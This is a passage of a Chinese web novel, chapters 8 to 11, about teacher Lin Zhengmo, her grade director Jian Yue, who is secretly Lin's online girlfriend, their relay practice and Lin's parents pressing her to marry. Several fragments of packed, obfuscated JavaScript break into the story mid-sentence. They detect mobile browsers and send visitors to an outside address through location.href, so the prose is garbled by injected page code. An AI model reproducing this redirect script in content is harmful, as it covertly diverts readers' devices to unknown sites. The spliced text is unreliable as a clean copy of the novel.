她才不是因为收到花太开心而给同事点奶茶呢! 但确实很容易误会吧? “不是的,简主任。”林筝墨想解释,又觉得没必要,“也没什么,你慢慢喝,我过去了。” “等等。”简越已经将吸管置入,当着林筝墨的面喝了一口,“今晚记得来操场练接力。” “今晚也要练吗?”林筝墨望向对方的眼睛。 “昨晚我们好像没怎么练吧?” “那倒是。”林筝墨点点头,“那今晚吧。” “嗯。”简越岔开话题,“五分糖刚刚好,我喜欢喝。” “你喜欢就好。”林筝墨敷衍着。 “你去忙吧。”简越继续喝奶茶。 林筝墨打算离开,人走到一半,忽然转身对简越说:“对了简主任,我谈恋爱的事情,你能不能保密?我不喜欢被别人讨论。” 简越咬着吸管,唇角的笑差点没收回去。 她当然知道林筝墨在想什么。 好不容易绷紧了脸,浓烈的情感淡淡隐于眼波里,“当然了,喝了你的甜心芭乐,我还有什么理由说出去?” “谢谢简主任,那张老师以后介绍给我的男人,我都推给你。” 简越忽然觉得奶茶齁甜,致使她呛咳起来。 “咳咳——” “噗。” 8. 第八章 第八章 当老师其实很忙的,就算不是班主任也很忙的。事情东一件,西一件,时间哗的一下就溜走了。 下午放学后,林筝墨原计划回一趟公寓,但想到要练习接力跑,便也没回去。 她给自己点了一个外卖,不是吃的,而是有线耳机。 一整天都惦记着啊啊啊送的那份礼物,那个MP3,她特别想听里面到底是什么,现在终于得来空闲。 她慢悠悠往操场走,晚风清凉。 五月的黄昏是刚剥下的橘子皮,鲜艳而明亮。操场徘徊着学生们的身影,落日照耀在少女们的手臂上,肌肤光滑得像是刚挤出来的牛奶。 林筝墨手里捏着一个小小的MP3,戴着有线耳机,看着里面的歌曲目录。 那是啊啊啊拷贝进去的语音独白,称之为:相距四十九天的见面礼物。 有一条类似前言的东西。 耳机里,啊啊啊说:“亲爱的林筝墨,这里一共是49条语音,你每天只可以听一条,等你听完这些,我们就能见面了。” 林筝墨点下序数“1”,摁下播放。 一边听一边沿着塑胶跑道,漫无目的地行走着。 “1”,是指第一天。 啊啊啊在耳机里说:“还没有试过用这种方式与你对话,说点什么好呢?说一下你的名字吧。林筝墨是一个很好听的名字,但第一次知道你叫林筝墨的时候,我的情绪更多是惊讶。暂且不能告诉你为什么惊讶,你的名字,是我打算与你恋爱最重要的原因。” 听到这里,林筝墨耸了耸鼻子秀挺的鼻子。 开场白居然不是情话。 搞不清楚名字和恋爱有什么关系。 她继续往下听。 啊啊啊又说:“我猜想你和我一样,没有想过要在网络上与陌生人谈恋爱,但我们都情不自禁坠入爱河里。” 林筝墨眯了眯眼,暗自回答:是的,她从来没想过会网恋。 与啊啊啊相恋是一种神奇的指引,是无限不循环小数,是3.1415926......没有规律,也是没有固定答案的一种选择。 耳机里,啊啊啊继续说:“从我们确定关系那天开始,林筝墨对我来说就是一个充满诱惑的盒子,我常常在想,你上班是什么样子,下班是什么样子,望向学生们的表情是什么样子,你今天穿什么颜色的衣服,今天的太阳光有没有照耀到你的脸上,我对关于你的一切都充满渴望。” 耳机里,啊啊啊深吸一口气,更像是叹气。 “所以林筝墨,既然如此,你很好奇,我为什么不与你见面吧?” 关于“1”的语音竟然戛然而止,有种话没说完的意味,林筝墨停下脚步,发现独白“1”确实结束了。 她低头看见自己的鞋,还有晃荡在半空的白色耳机线,身旁是正在踢足球的学生,恍惚的那几秒钟,身后忽然响起一道声音。 “林老师,下午好。” 林筝墨迅速抬头,略微慌张地摘下耳机,望向那人,“简主任。” 简越看着她手里的MP3和耳机,眼底荡漾着笑意,“在听什么呢?” “嗯,在听英语听力。”林筝墨张口就来,默不作声将MP3揣进口袋里。 简越只是笑,并不拆穿,也不追问。 两人并肩而行,林筝墨奇异地发现,最近貌似有些玄学在身上的。每当她经历了一些关于啊啊啊的事情之后,简越就会出现在她的视线里。加上简越的声音和啊啊啊其实有点像的。 这种感觉很奇怪。 你会情不自禁把一个从未露面的人,与这个实实在在的人结合在一起。 就像耳机里的人忽然站在你的面前。 哇。 好可怕。 林筝墨打了个寒颤,觉得自己应该是疯了!! “赵老师和龚老师有事,说是今天暂时不来了。”简越温声细语说着。 “啊,那只有我们两个人。”林筝墨心惊胆战接着话,寻思着,又要和这女人独处了吗? 简越明明没有想象中那么难相处,但只有两个人的时候,林筝墨就是会有种局促感。 “对。” “那我们怎么练呢?”林筝墨没看简越,但好像感受到一道目光。 “来回练几次就好,对了,你吃晚饭了吗?” “没吃。”林筝墨解释:“有时候不吃。” “那我们先去吃饭吧。” 林筝墨:“?” 简越:“不吃饭跑步对身体不好。” 林筝墨犯难,食堂就在操场外面,几步路就能到,但她无法想象和简越并肩坐下吃饭的样子,没有共同话题,难道讨论哪个优质男人更适合简主任吗?可是男人不在她的兴趣点上。 “好了,看出你不想吃。”简越发出短促的笑声,居然有种看透的揶揄,“那我们开始吧。” 林筝墨有种被对方揭穿的窘迫,落日的余温令她脸颊泛红,偷偷侧目,发现简越居然一直在看她,两人视线对在一起,林筝墨内心忽然发出“咔”的一声,心跳无端加速起来,觉得五月的太阳很有威力,老练得不行,仿佛能揭穿她的所有小心思。 “练。”林筝墨挪开眼,“你说怎么练。” “他们俩不在也无所谓了,你把接力棒给我,我们确定不掉棒就行。” “好。” 两人走到跑道起点停下。 简越穿着一件鸽灰色的衬衣,里面是一件露臂式背心。她觉得穿衬衣有点热,便当着林筝墨的面脱下来。 人又高,加上腰身纤细,下搭一件宽松的牛仔裤,斯文的柔美中带着一股英气。加上她的胸l型真的很好看,不带凝视的角度,纯审美。林筝墨无意瞥见简主任的小腹,发现她还有马甲线。 啊。 可不敢细看,只敢偷偷看。 怎么会有人集性感和飒气于一体呢? 前几秒林筝墨还在欣赏,忽然意识到什么不对劲,表情瞬间凝滞半空。 不对劲。 简主任穿的是啊啊啊的同款!!! 同款!! 同款不同色!!! 第一天啊啊啊发过来没脱的照片就是这么一件衣服! 哪个生产商!全中国身材好的女人都在穿这一款是吗?!一瞬间,如同彗星撞地球,轰隆一声在林筝墨内心炸了一个巨大的窟窿。 她有点懵。 一种奇异的感觉流窜全身,让她忍不住要将这两个毫不相干的人联系起来。 就很矛盾。 为什么呢?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606815|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 很可怕啊! “怎么了林老师?”简越故意抛出话题:“我身上有东西吗?” “没。”林筝墨半怔,迅速抛出一句:“我们开始跑吧。” “嗯。”简越唇角有了弧度:“你很急吗?” “不是。”林筝墨眼睛快速眨了一下,强迫自己不要去看简越的身体,局促道:“接力棒有吗?” “带了。”简越从衣服口袋里摸出一根木棍来,递给林筝墨。 简越说,她往前跑到200米左右的地方等待林筝墨。这样练习的作用是,两人熟悉一下交棒,林筝墨正好适应一下。 林筝墨说好。 “林老师,那你在这里等我。” “好的简主任。” 简越转身,慢悠悠往前跑去,她步伐轻盈,肩瘦骨薄,双臂前后摆动的时候,林筝墨忽然想到一个形容词:充满活力的。 嗯...... 不适合简主任,但确实贴切。 不远处,简越在200米的地方挥了挥手,林筝墨颔首,捏着接力棒往前跑。抬起腿往前时,目视前方,发现简越正笑盈盈地看着她,那眼神,有点像是看心仪的小猫? 这种感觉有点尴尬。 你明明跑得很慢,但对方一脸欣赏是什么意思? 她低下头,只看自己的步伐,又觉得好像不适合,便抬起头望向简越。 视线里,简越是塑胶跑道上定格的一个点。 一个鲜艳明亮的点,简主任的五官像是一副未完成的画,刚开始是模糊的,越来越近,越来越近,仿佛林筝墨自己也跑进了那幅画里,一切都逐渐清晰起来,像是涂抹了颜料,抹亮了全世界,而后看见她的嘴唇,眼睛,站在夕阳下噙着笑意的唇角。 那种望过来时的眼神,令林筝墨觉得很恍惚。 思绪飘到昨晚,那张没有露脸的照片。 昨晚。 现在。 更近了。 林筝墨抬起手,伸手要将接力棒递给对方。 那人响应她,也将手臂抬了起来。 电光石火之间,斜侧的方向忽然飞过来一颗圆形物体,物体速度大于反应速度。 是一颗火力全开的足球,眼见就要砸在林筝墨的脑袋上,林筝墨已经放弃挣扎,准备受刑。 简越比她先反应过来,在足球即将坠落之前,先行一步。只听见球体皮革与肩膀发出一声闷响,狠狠击中简越的后肩。 林筝墨心脏骤然收缩,主动去扶简越。 两人的手臂像互补的齿轮,黏合在一起,动作自然得仿佛天生一对。待到林筝墨觉得不妥的时候,她已经贴在简主任怀抱里了。 黑发摩擦过对方的脸颊,痒痒的,暖暖的,徐徐的,荡漾过林筝墨的鼻尖。 令林筝墨紧张,惶恐,还有不知所措。 却听见简越笑着说: “出师不利,差点就被踢到了。” “你还好吗简主任。” “不太好,好痛。” “哪里?”林筝墨从对方怀里退出来,眼里有焦急。 没有麻烦也要制造麻烦。 不痛就说痛。 “有点难受。”简越转过身,主动将后肩给对方看,“这里,你帮我看看呢?” 9. 第九章 第九章 踢球的男生硬着头皮跑过来,发现是简越,吓得脸色惨白,连舌头都捋不直了。 “简老师,对不起!我不是故意的。” 简越心想,足球也算立了头等功,你现在麻溜走人,那你就是个好学生。 “一定要注意安全。”简越绷着脸,“千万不要踢到别的同学,不然把你班主任叫过来。” 注入班主任毒剂! “好好好。” 男生捣蒜式点头,小心翼翼绕过简越去捡球,大气不敢出,灰溜溜地走了。 林筝墨悬着的心还未落下。 “简主任,我帮你看看,刚刚他踢到你哪里了?” 简越指了指自己的后肩,她也不知道具体是哪里,因为压根不太疼。 林筝墨站在简越身后,将她的头发拨弄到一边,仔细端详起来,发现皮肤确实有一处微红。 她用手指轻轻戳了一下,“这里吗?” 简越双肩微耸,好痒,不自在道:“嗯,应该是。” “我再检查一下有没有别的地方。”林筝墨凑近些,抬起手来,指腹在简越后肩那一带游走。 她好像想通过这样的方式知道简越哪里疼。 指尖冰凉的触感,传递到简越的皮肤上,很痒,是带有余温的痒。 简越深吸一口气,不敢做声。 所以用手指抚摸别人的身体,是可以起到一个检查的作用吗? 林筝墨你...... “简主任,表面看起来没什么大碍,就是不知道伤到筋骨没有。”林筝墨秀眉依旧紧蹙,“不然去医务室看看吧?” “嗯......”简越稍微扭动了一下脖子,“其实也还好?” “确定吗?”林筝墨为人谨慎,她可不想因为同事帮忙挡球这件事落下后疾,免得到时候愧疚心又要作祟了。 “确定。”简越不打算再逗她,“小问题,咱们抓紧时间,去后操场再练练。” 观察到简越确实没太大问题,林筝墨这才放下心来。 两人转战到后操场,这里人很少,稀稀零零也只是几个不熟的老师,寻思着早该来这里。 届时天已昏黑,暮色四合,周围的湿热空气笼罩过来,沾染到林筝墨的脸颊上。清透的脸颊微微发汗,她站在原地,看着不远处简越的身影。 “林老师,可以跑了。”声音隐隐从远方传过来。 “喔,好。”林筝墨很听话,简越说跑,她就跑。兴许是天黑了下来,灯光不那么充足,反而自在不少。 两人跑了几个来回,林筝墨体力不支,微微喘气。 见简越步伐依旧矫健,迅捷而轻盈,区区几百米根本不在话下。 林筝墨心底忽然生出丁点羡慕来,她从小身体就弱,运动细胞差,最极限的运动莫过于弹钢琴五小时而已,真正要迈腿子的事,确实有点为难了。 比如现在,她还喘着气,简越就已经折返过来。 林筝墨嘟囔着:“你跑得好快啊。” 简越唇角漾开笑,“慢慢锻炼会适应的。” “所以你平常会运动吗?”林筝墨的话匣子终于打开。 “一直都有运动的习惯。”简越话锋一转:“从我做完手术开始,就一直有在运动了。” “手术?” “嗯,我以前有心脏病。” 林筝墨非常惊讶,这反应与许多人一致。 “心脏病?”不确定又添了句:“你有心脏病?” 下意识会想,如果有心脏病的话,能这样运动吗?林筝墨想问,怕冒犯又不敢问。 简越看出她的迟疑,解释道:“先天性心脏病,天生的,所以我很早就手术过了,现在和普通人没什么区别。” 林筝墨颔首,明显松了口气。 简越反过来问她:“那你呢?会经常运动吗?” “完全不。”林筝墨直言:“觉得运动起来很累。” 她说话的语气、表情、以及她的姿态,都给人一种孱弱的感觉。好像风一吹,人就能撂倒。 简越刚想说没关系。 林筝墨又补了句:“但我觉得这样不好。” 简越忽然觉得这是一个机会。 “那你要不要和我一起?” “什么?”林筝墨困惑。 “一起运动之类的。”简越漫不经心道:“听说学校附近那家健身房挺不错,两个人一起好像有优惠,如果你也很无聊的话……” “我会拖你后腿的,简主任。”林筝墨下意识这么说,尽管有那么一丁点心动。 心动不是因为简越的邀请。 而是啊啊啊。 因为啊啊啊也健身,林筝墨觉得自己纤弱过度,如果去锻炼的话,既能强身健体,又能和啊啊啊有共和话题。 简越看出她的犹豫,开始煽动她:“没关系啊,健身不存在什么拖不拖后腿的,只要能增强体质就行。” 在理。 其实林筝墨也是这么想的。 内心踟蹰着,她在想,如果是别的同事邀请她,指不定她就答应了,但这是简越。 简主任好像总是要特殊一些,简主任和其它同事都不一样。 可是,简主任到底哪里不一样?林筝墨竟然说不出缘由来! 这不是上级和下属之间的隔阂,而是一道透明的、摸不出形状的围栏,令她无法真情实意靠近简越。 这个人让林筝墨紧张,不自在,仿佛呼吸都要绷着一层,是人与人之间难解的微妙气氛,不是一个形容词就可以精准表达的。 “我回头再想想。”林筝墨没给明确答案,打算之后再拒绝。 “好,你慢慢想。”听不出简越的情绪,语调平静得像是一条直线,她蹲下身,捡起地上的接力棒,“再跑一圈咱们回家吧。” 简越的身影又远了。 从一个人,变成一个点,从一个点,又变成一个人。她们完成了两次完美的交接,已经达到相当默契的地步。 林筝墨想的是:还好,很有默契了,明天不用练习了。 简越想的是:可惜,这么有默契,明天怕是见不到面了。 天色早已昏黑,操场旁的路灯像蒲公英那般毛茸茸,风一吹,柔和的灯光软绵绵就落在塑胶跑道上,很是惬意。 简越将衬衣搭在手臂上,微微凝目,偷偷看林筝墨。 发现林筝墨在发呆,她目光澄净,望向一处,不知道在想什么,从简越的视角过去,林筝墨的侧脸清瘦而美丽,透着一股子冷淡的味道,皮肤光洁无瑕,但脸颊与耳朵的交界处有一颗小小的痣。 那颗痣。 简越想戳。 不敢戳。 不舍。 但要装作很舍得的样子。 “林老师,咱们今天就到这里了?” “可以。”林筝墨回过神来,“明天还练吗简主任?” “你说呢?”简越眼底漾着笑,“你想不想练?” 她自然以为林筝墨是要练的意思。 “我不想。”林筝墨就是这般直白。 简越笑容凝固,“啊......那就不练吧。” “因为明天晚上有事。”林筝墨话锋一转,“但后天可以。” 短短一句话让简越心情忽上忽下,林筝墨也忒坏了吧,说话说一半,莫不是故意的? “那好,后天也在这里见面。” “嗯。”林筝墨有要离开的趋势。 林筝墨的社交作风是:我来了,没事了?那我走了。 果不其然,下一句:“那我走了,简主任。” “哦,你住哪?”简越恋恋不舍,忍不住话里找话。 林筝墨依旧敷衍:“就学校外面。” “那注意安全。” “拜~” 林筝墨离开时步伐更加轻快,有种刚刚其实是在加班的感觉,简越望着她的背影,一声长叹。 哎~~~ 难以攻略! * 林筝墨快步出了校门,一路往公寓走。 五月的夜晚像一个不露声色的老好人,会默默将最温柔的晚风送给人类。 迎着心旷神怡的风,拿出手机给啊啊啊发消息。 【我跑完步了。】 啊啊啊总是能及时回复。 【怎么样?】 【我跑得慢,但她没嫌弃我。】 【噢,那你对她印象有所改观吗?】 林筝墨觉得打字很麻烦,索性拨通语音电话。 电话嘟了两声,啊啊啊接通。 “喂?” 这一声“喂”,和以往的每一次都不同,因为简越忘记压低声线了。 这导致林筝墨非常恍惚。 妈呀。 这声音好像简主任。 莫不是啊啊啊的手机被简主任捡到了? “咳咳,喂?能听见吗?”简越调整了一下声线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不太想去。”林筝墨直言:“特别是和她,我会紧张。” “她是蛇还是虎啊?让你这么怕兮兮的。”简越实在搞不明白,自己堂堂一清纯少女,慈眉善目的,怎么就让她林筝墨避而远之了? “一种感觉。”林筝墨说着大瞎话:“据我观察,她最近对我笑得特别殷勤,她不对劲。” 哈! 原来笑容也是一种罪! “可是锻炼的话,两个人体验感会更好诶。”简越依旧不放弃,“因为会互相加油打气之类的,一个人会很无趣,容易放弃。” “啊......”林筝墨倒是没想过这个问题,“那我要和她去吗?” 这真是一个精妙的问句。 基本等同于:我要给你吃掉吗?我要自投罗网吗? 简越心想:小鸵鸟你跑得掉吗! 却还是绷着情绪说:“我思考一下,帮你分析一下利弊吧。” “嗯,好。”林筝墨完全信任啊啊啊,仿佛对方就是她的引路标。 “嗯......其实我觉得啊,你应该和她一起去健身呢,为什么呢?”简越内心已经罗列出一二三:“首先她是你的上级,虽然你不是那种很圆滑的人哦,但是和上级关系好一点基本没坏处。其次,两个人确实可以打折嘛,最最重要的是,和她一起锻炼并不会让你损失一些什么啊。” 在理。 特别是这话从啊啊啊嘴巴里说出来。 “而且,退一万步讲,你要是中途觉得不行,那你就随便找个借口和她岔开时间不就行了嘛。” “喔......”林筝墨若有所思,蠢蠢欲动。 “你觉得呢?” “所以缺点是什么?”林筝墨吊着最后一点疑虑,内心其实已经被说服。 “实话吗?我觉得没有缺点。” 没有缺点。 唯一的缺点是,你走进了我的圈套。 “本来不想去的。”林筝墨感叹:“但你多个角度分析之后,我觉得利大于弊,还是你想得周全。” “是吗~”简越笑声短促:“没事啦没事啦,应该的!” 10. 第十章 第十章 健身这件事敲定下来了。 但林筝墨只能明天告诉简越,因为她们还没有互相的联系方式。 很奇怪,当了一整年的同事,居然连微信都没加! “你在工作群加她呀。” “算了,明天面对面说吧。” 于是,一个答案,要从黑夜滞后到天明。 第二天清晨,林筝墨行走的学校的廊道上,学生们还是叽叽喳喳,与昨日没有差别。 林筝墨故意放慢了脚步,幻想通过这种方式再来一次偶遇,把事情一次性说清楚,却没看见简越的身影。 倒是去到办公室后,同事说有周会要开。 “林老师,说是周会要提前一点,差不多该走了。” “好的。”林筝墨顺手拿起一本教案,打算等会儿开会的时候摸摸鱼,无意中抬眼,发现简越快步从走廊走过。 简主任走路总是夹着一股干练味道,挺拔的身形走起路来带风,好像连四周的空气都在向她靠拢了。 林筝墨脑袋里浮现出几个字:领导风范。 啊。 才不想和领导一起撸铁呢! 一眨眼,简越又不见了。 “走吧~林老师~” “好的。” 林筝墨展现一派的礼貌,又斯斯文文跟着同事出去。 对于老师而言,周会就像高中课本里的政治术语,冗长又乏味,听得耳朵发茧子,堪比老和尚念经。 那是一个大教室,一排排橡木桌并在一起,老师拿着本子要做笔记,是某种意义上的“成年人式课堂”。 简主任。 她通常负责通知一些事情,一个人站在大教室正中间,准备投放PPT. 林筝墨静悄悄进去,默默选好位置坐下,也不知道做什么,翻开教案补充起来。 没坐一会儿,身后,密密麻麻的声音钻进她的耳朵里。 是张老师说起了要给简主任介绍对象的事,林筝墨侧耳聆听,她还没想过自己也有闲心听八卦的一天。 “是啊,简主任通过好友申请了,她很满意!我觉得介绍对象就是要这样才有意思,郎才女貌只是条件一,条件二是没有人是闷葫芦!聊得来!双向奔赴!!” 哈? 林筝墨很意外。 像简主任这种条件的人,居然对张老师介绍的那三瓜裂枣感兴趣?她简越随便在街上拎一只狗,恐怕都要靠谱些。 而且张老师口中说的“闷葫芦”,怎么听都像是自己呢? 苦哉! 林筝墨放下手里的笔记,抬眼去看简越。 忽然就有一种很割裂的感觉。 简主任的气质其实很干净,她习惯穿白色或者灰色,单调的颜色在她身上可不一般,低饱和度反而更加凸显她的五官,她像澄澈的水,流动着,流动着,流在林筝墨的眼波里,怎么也荡漾不出去。 这样形象气质的人,是怎么......和张老师介绍的人搞在一起的? 林筝墨竟莫名有些郁闷起来。 “而且,简主任是事业型的,那男的是居家型的,互补!”张老师依旧滔滔不绝。 林筝墨听不下去,自动屏蔽,看着台面的方向,目光渐渐失焦了…… 简越正在操作PPT,一只手撑在台面上,另一只手握着鼠标游来游去,她的目光停滞在电脑上,很认真。清晨门栏外的阳光恰好落进来,落在简主任的脸上,照亮了她明媚的五官。 她美得发光。 林筝墨看着她,就这样看着她。 很快,背后的幕布显示出来,关于消防知识的页面。 林筝墨回过神来,低下头,拿出手机给啊啊啊发消息: 【又是她开周会。】 【超高冷。】 【一想到要和她健身我就发怵。】 【我不知道怎么说呀。】 咻咻咻,连发四条。 看着聊天界面,林筝墨第一次陷入沉思。 为什么,为什么她要和啊啊啊聊起简越,她明明没有关注同事的习惯,什么时候开始,简越成为她的视线中心了呢? 她觉得自己不应该关注简越。 可这想法生出脑袋时,思绪却忍不住了,林筝墨下意识抬眼,望向讲台上的人。 简越身后的PPT是六个字:消防演练指南。 光标游走在界面,简越先是点开了几个文件,点击最小化,而后,光标挪到右下角,那里闪烁着微信讯息。 那只是一种下意识的习惯,简越将鼠标放在了闪烁上,她只是放上去,顿了一下,但并没有点开微信界面。 右下角还是会有小小弹窗。 弹窗内容: M——后面的小红点符号为“4“ ”意味着,一个备注为“M”的人,给简主任发了4条消息。 但这不是重点。 重点是,一个熟悉的微信头像一晃而过。以白色为背景,中心是一只薄如蝉翼的蝴蝶,出自于某个国外的插画师,寓意是破茧成蝶,林筝墨一直很喜欢,所以用做头像。 ????? !!!!! 这个人怎么头像和自己一模一样! 五雷轰顶!炸得浑身霹雳嘎嘣脆!脑袋瓜直直嗡嗡作响。 尽管只是一闪而过,但林筝墨确定以及肯定,那就是她的同款头像!! 一瞬间,周遭的声音都消失了,连带着张老师的八卦也索然无味,林筝墨觉得自己在一分钟内做了一套高考数学题,脑袋接近宕机。 简越终于抬起头来,朗声说:“这次主要是通知一下消防知识,明天让学生做演练,有些细节,这边麻烦大家记一下笔记。” 她开始开会,用平日的那样平淡的腔调。 林筝墨却一个字都听不进去。 简主任。 啊啊啊。 简主任。 啊啊啊。 简主任......简主任,你别害我,我好害怕。 会议期间,偶尔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我表妹。”简越笑,将手机放在口袋里,继续先前的话题:“所以要一起健身吗?” “可以。”林筝墨放下戒备,惊觉自己手心已有冷汗。 她觉得自己疯了。 简主任怎么可能是啊啊啊? 真是疯了。 张老师才说简主任喜欢那个对象喜欢得紧。 简主任才不会喜欢女人呢! 疯了疯了。 “那我们回头在微信上约时间?”简越说。 “嗯,好的。”小鸵鸟又要逃跑了,“那我先去上课了。” “去吧~” 林筝墨走得很快,迅速消失在简越视线里。 待她走后,简越紧绷的表情忽然垮下来,好看的唇抿成一条线,若细看,她的鬓角有薄薄的一层冷汗。 失策了! 吓死了! 再也不用小号传送文件了! 富贵险中求。 但今天有点儿太险了。 11. 第十一章 第十一章 头像事件犹如过山车,但最终林筝墨没再怀疑,整个上午都在上课,时间一溜烟就飞走了。 赵筱筱同学有一个特异功能,她可以在下课前一分钟醒来。 铃铃铃,清脆的放学铃声在耳边连成一条线,筱筱两眼一睁,该吃饭了。麻溜收拾书包,往肩上一挎。 “林老师再见!” “下次上课不许睡觉。” “我听了的!定语从句很简单的!一定拿捏!” 她偏科。 英语好,数学差。 林筝墨拿她也没办法。 常常考第一名:英语正数第一,数学倒数第一。 两科分数竟然能相差80分之远! 赵筱筱呲牙笑,背着书包往外冲,因为表姐是学校的老师,所以中午都去教师公寓吃饭。 滴里嘟哝跑回家,门一推,朗声说: “姐我回来啦!吃什么吃什么!好香好香!” 简越回过头看她,“去洗手。” 赵筱筱是简越的表妹,因为姨妈工作忙,没办法照料她的午餐。原计划是让她吃食堂,结果她嫌弃难吃。 简越有几次碰到她在学校外面吃炒面,那种小摊,油和食材都不能保证,青春期正在发育的女孩儿营养跟不上。 索性就包了她的午饭,还能顺便睡个午觉。 “回来这么快?” “饿啊!”赵筱筱眉毛往上飘,表情夸张地说:“而且你是绝世大厨神!每天就盼着这一口了!” 简越看着她的滑稽表情,乐不可支。 “添饭。” “嗻!” 赵筱筱走路蹦哒,朝气蓬勃,像一只活泼的小松鼠,哼哧哼哧舀饭、端菜,又可可爱爱帮简越把凳子拉出来。 “姐,您坐~” “今天怎么回事?这么殷勤?”简越坐下,一脸看穿小女孩儿的心思。 “数学又没考好呗。”赵筱筱鼻子微皱,不情愿:“我又倒数第一,你别告诉我妈。” “那她要是主动问我,我不能不说。” “不行!你一说,我屁l股就要开花!”赵筱筱话锋一转:“可我英语第一呢,我妈问你,你就说数学不知道,倒是听说她英语考挺好。” 简越笑笑不说话,赵筱筱这灵光脑袋用在数学上,总不能偏科得这么过分。 “今天林老师还夸我呢,说我要是不那么爱睡觉就好了。”说起林筝墨,赵筱筱总是笑盈盈的,“还是林老师最好了。” 简越眉头稍扬,“哦,你就这么喜欢她?” “当然了!你不懂!林老师是全世界最好的老师!” 简越心想,我懂,我可太懂了,我对她的评价可比你高。 “嗯,和她不熟。” “哼哼,可不是嘛,你是年级主任,日理万机,是我们年级的小陀螺,没了你转不了,哪里有时间和我们林老师打交道呢。”赵筱筱口才不一般,阴阳起人来更是:“你的所有空闲时间都用在那个人身上了。” 那个人,是指简越手机里的那个人。 小小的筱筱不懂,她表姐人才和相貌样样不差,怎么就掉进了网络的漩涡里?这年头,网恋有几个靠谱的? “姐,你可得小心了。” “嗯?” “男人是河童,都能给你P出吴彦祖来,你别被骗!” “哦是吗。”简越心想,你懂挺多,晚上躲被窝里玩不少手机吧孩子。 赵筱筱不明白:“所以他到底哪里好啊?很有钱吗?” “和钱无关,但能给我提供价值。” “什么什么什么价值?” “情绪价值。”简越唇角勾起笑意,“和她一起我就很开心。” 赵筱筱眉头微皱,神情复杂,她还从来没在她表姐脸上看到过这种笑容。 简越是智慧的代表,家里人的口头禅都是:学学你表姐!就没有她拿不稳的事儿! 她淡定又从容,好像天塌下来都能接住。 可现在这笑容...... 不妙。 莫不是恋爱脑吧? “要我说,谈恋爱就得谈林老师这样的,靠谱温和又细心。”内心嘀咕:你那网上的算个什么东西! “她是女生。”简越敷衍,眼皮都懒得抬一下。 “姐,你不知道同性恋啊?现在女人和女人也能谈恋爱了!” “咳咳。”简越略微惊讶地抬起头,望向赵筱筱,“你在哪里听些这种?” “小说啊,我在晋江文学城看百合小说,那里面都是这么写的!” 晋江文学城? 哪个作者? 教坏表妹! 简越心想,现在小孩儿懂得可真多。但出柜是不可能出柜的,要是让家里长辈知道,她和未成年表妹的话题已经到了这个地步,腿估计都得打断。 “别三句不离你的林老师。”简越转移话题:“说说你的数学吧。” “嗷呜——”赵筱筱低头扒饭,“我还是先吃饭吧。” * 工作日结束了,林筝墨去爸妈家吃饭。 恋爱、结婚、生孩子。 已经成了三十左右女生阴魂不散的话题,世俗的野鬼缠绕着女性,围剿我们,掠杀我们。 林筝墨有时候不明白,为什么她大学毕业以后,家里人就迫不及待要把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606818|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她推给别的男人? 她曾在网络上看到过一个帖子,内容是,一个女孩儿,在家庭饭桌上,问出一个惊世骇俗的问题。 “你们为什么一定要让我嫁出去?” “为什么要让男人撒尿的地方进入我?那么脏,那么恶心。” 那一瞬间,所有长辈哑口无言,饭局变得异常沉默。 林筝墨觉得世界上有千千万万个林筝墨,所有的林筝墨都被禁锢在这样的笼子里,寒冷,又带一点甜。 甜味,是指父母所谓的爱。 “做了你最爱吃的糖醋排骨。”母亲周京芳端菜上桌,“老林,摆筷。” “好。”故作深沉的林鸿起身,脸颊的褶皱像是故意捏上去的,有点老沉,过于严肃,林筝墨一直都不喜欢。 周二晚上,一家三口共进晚餐是规定好的,是不容置喙的。 一张正方形餐桌,一人占一面,只有三面,用林鸿的话来说就是:还差一面。 还差一面。 要解决这一面,林筝墨要耗费好多力气。 “最近上班怎么样?”周京芳夹了一块排骨放在林筝墨碗里,那是排骨中肉最多,最好吃的一块。 “顺利。”林筝墨夹起排骨,斯斯文文吃起来,“一切顺利。” “顺利就好。”周京芳满意颔首,像早读演练似的:“你有一份稳定工作,身体健康,这就是我们希望的。” 林筝墨知道她话没说完,所以没搭腔。 “现在也只剩下一件事了。”周京芳看向林鸿。 林鸿说:“筝墨,也该考虑一下了。” 他们上了年纪之后,语气不像以前那般严肃,却字字珠玑,那种不负众望的语调,在林筝墨心上压上一块沉石,难以呼吸。 “可是我还不想谈。” “奇了怪。”周京芳依旧是对林鸿说话:“你说咱们家女儿是怎么了?这外面的人排着队,里面的人不开门,到底是哪个环节出了问题?” 林鸿与她唱着相声:“我也不清楚。” “女儿。”话音终于对准林筝墨:“人总是要老的,需要有人陪伴的,你老了,你的猫不能照顾你的。你爸爸学校的冯老师,她的儿子看过你照片了,问了几回,你不松口,我们不敢把你联系方式给他。” 